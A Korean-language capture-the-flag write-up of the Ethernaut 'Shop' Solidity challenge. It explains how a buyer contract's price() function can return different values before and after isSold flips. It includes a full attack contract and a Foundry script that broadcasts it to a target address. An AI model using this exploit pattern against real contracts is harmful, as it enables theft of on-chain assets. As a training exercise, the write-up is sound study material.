view의 제약은
외부 상태에 따라 값이 바뀌는 view 함수를 만들 수 있다.
Shop.buy()를 성공시키면서 최종적으로 Shop.price 상태값을 100보다 낮게 만드는 것이 목표
buy() 안에서 buyer.price()를 두 번 호출한다.
if (_buyer.price() >= price && !isSold) 조건 체크용price = _buyer.price(); 대입용조건이 성립하려면 첫 번째 호출 시점에
_buyer.price() >= price!isSold 이 둘을 만족해야 한다.조건이 통과되면 isSold = true로 먼저 바뀐 뒤,
그 이후에 다시 _buyer.price()를 호출해서 Shop.price에 저장한다.
즉, price() 호출 시점이 두 번 있고, 두 호출 사이에는 Shop.isSold 값이 바뀐다는 게 핵심
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IBuyer {
function price() external view returns (uint256);
}
contract Shop {
uint256 public price = 100;
bool public isSold;
function buy() public {
IBuyer _buyer = IBuyer(msg.sender);
if (_buyer.price() >= price && !isSold) {
isSold = true;
price = _buyer.price();
}
}
}
로직 정리
Shop.isSold()가 false일 때 (첫 번째 호출 시점)price()가 100 이상을 반환 → if 조건 통과Shop.isSold()가 true일 때 (두 번째 호출 시점)price()가 0 같은 작은 값을 반환 → 최종 Shop.price가 낮은 값으로 기록// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
import {Script, console} from "forge-std/Script.sol";
import {Shop} from "../src/Shop.sol";
contract Attack {
Shop public shop;
constructor(address _target) {
shop = Shop(_target);
}
function buy() public {
shop.buy();
}
function price() public returns(uint) {
if(shop.isSold()){ //isSold가 TRUE일때는 0원 (싸게 사기)
return 0;
} else {
return 100; //설정된 price 변수 값보다 크거나 같은 값으로 설정
}
}
}
contract PoC is Script {
address public target = 0xADF66D4bE2Dc75207a25EBf5F37C9FafA27EA1cF;
uint256 pk = vm.envUint("PRIV_KEY");
function run() public {
vm.startBroadcast(pk);
Attack attack = new Attack(target);
attack.buy();
vm.stopBroadcast();
}
}